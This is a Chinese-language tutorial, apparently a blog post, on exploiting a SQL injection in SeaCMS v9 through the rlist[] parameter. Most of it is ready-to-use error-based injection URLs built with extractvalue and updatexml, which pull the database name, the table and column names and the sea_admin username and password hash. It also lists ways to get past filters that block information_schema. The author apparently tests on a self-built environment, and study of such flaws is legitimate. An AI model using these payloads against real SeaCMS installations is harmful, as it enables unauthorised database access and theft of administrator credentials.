seacms v9 实现的MySQL注入

目录

[过滤关键词information_schema 怎么办](#过滤关键词information_schema 怎么办)

一、环境搭建

二、环境分析

三、源代码分析

1、过滤程序

2、注入点

四、获取数据库名

五、获取数据库表名

六、获取表的列名

七、获取数据信息


过滤关键词information_schema 怎么办

1.、利用sys数据库(MySQL 5.7+) sys库是MySQL官方提供的系统监控数据库,可能未被过滤。

例:查询表名和列名

SELECT table_name FROM sys.schema_table_statistics; SELECT column_name FROM sys.schema_columns WHERE table_name='users';

2、 利用mysql系统库 mysql库存储用户权限信息,部分表可能包含元数据。

例:通过innodb_table_stats和innodb_index_stats获取表名

SELECT table_name FROM mysql.innodb_table_stats;

3.、编码混淆

十六进制编码:information_schema → 0x696E666F726D6174696F6E5F736368656D61

SELECT * FROM 0x696E666F726D6174696F6E5F736368656D61.tables;

Unicode编码:i → CHAR(105)

4、 字符串拼接 使用CONCAT()或SUBSTR()绕过简单过滤

SELECT * FROM CONCAT('inform', 'ation_schema').tables;

5、. 注释符干扰 插入注释分隔符:/**/或/*!*/

SELECT * FROM infor/*!mation_schema*/.tables;

一、环境搭建

二、环境分析

在海洋cms V9 中,用户输入(如登录、评论、分页、ID 等)未经过适当的验证和清理,直接嵌入到 SQL 查询中,导致了 SQL 注入攻击的发生。

三、源代码分析

1、过滤程序

整个模式由三部分组成:前面是一个否定字符组`[^0-9a-z@\._-]{1,}`,中间是关键字组`(union|sleep|...)`,后面又是同样的否定字符组。这个结构可能是在匹配那些被非允许字符包围的关键字,比如`union`前后有特殊符号的情况。

\^0-9a-z@\\._-\]{1,} # 第一部分:匹配非允许字符的连续序列 (union\|sleep\|benchmark\|load_file\|outfile) # 第二部分:匹配危险SQL关键词 \[\^0-9a-z@\\.-\]{1,} # 第三部分:再次匹配非允许字符的连续序列

2、注入点

参数rlist[]被用作数组传递,可能在后端代码中被直接拼接到SQL查询中,没有进行充分的过滤或参数化处理,导致注入发生。

php 复制代码
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";

四、获取数据库名

php 复制代码
?gid=1&page=2&rlist[]=@`%27`,extractvalue(1,concat_ws(0x20,%200x5c,(select%20database()))),@`%27`

gid=1:ID(数值型)。

page=2:分页参数。

extractvalue():MySQL XML处理函数,用于触发错误。

concat_ws():用分隔符连接字符串,0x20是空格,0x5c是反斜杠\。

select database():获取当前数据库用户。

攻击者访问构造的URL,服务器处理rlist[]参数。 后端代码将rlist[]值拼接到IN子句: 执行时因非法XPath语法报错,错误信息包含数据库用户

五、获取数据库表名

当sea_comment表中无数据时不会回显报错

添加数据后成功回显

php 复制代码
?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0atable_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=0x736561636d73%20limit%200,1))),%20@`%27`

六、获取表的列名

php 复制代码
?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0acolumn_name%20from%23%0ainformation_schema.columns%20where%20table_schema%20=0x736561636d73%20and%20table_name=0x7365615f61646d696e%20limit%201,1))),%20@`%27`
php 复制代码
?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0acolumn_name%20from%23%0ainformation_schema.columns%20where%20table_schema%20=0x736561636d73%20and%20table_name=0x7365615f61646d696e%20limit%202,1))),%20@`%27`

七、获取数据信息

php 复制代码
?gid=1&page=2&type=1&rlist[]=@`%27`,updatexml%20(1,concat_ws(0x7e,0x7e,(select%20name%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`
php 复制代码
?gid=1&page=2&type=1&rlist[]=@`%27`,updatexml%20(1,concat_ws(0x7e,0x7e,(select%20password%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`

由于password进行的md5加密,将注入结果(f297a57a5a743894a0e4)进行解密后得到admin

相关推荐
网络安全许木1 小时前
自学渗透测试第11天(Linux压缩解压与磁盘管理)
linux·网络安全·渗透测试
科技小花4 小时前
数据治理平台架构演进观察:AI原生设计如何重构企业数据管理范式
数据库·重构·架构·数据治理·ai-native·ai原生
一江寒逸4 小时前
零基础从入门到精通MySQL(中篇):进阶篇——吃透多表查询、事务核心与高级特性,搞定复杂业务SQL
数据库·sql·mysql
D4c-lovetrain4 小时前
linux个人心得22 (mysql)
数据库·mysql
阿里小阿希4 小时前
CentOS7 PostgreSQL 9.2 升级到 15 完整教程
数据库·postgresql
荒川之神4 小时前
Oracle 数据仓库雪花模型设计(完整实战方案)
数据库·数据仓库·oracle
做个文艺程序员5 小时前
MySQL安全加固十大硬核操作
数据库·mysql·安全
不吃香菜学java5 小时前
Redis简单应用
数据库·spring boot·tomcat·maven
一个天蝎座 白勺 程序猿5 小时前
Apache IoTDB(15):IoTDB查询写回(INTO子句)深度解析——从语法到实战的ETL全链路指南
数据库·apache·etl·iotdb
不知名的老吴5 小时前
Redis的延迟瓶颈:TCP栈开销无法避免
数据库·redis·缓存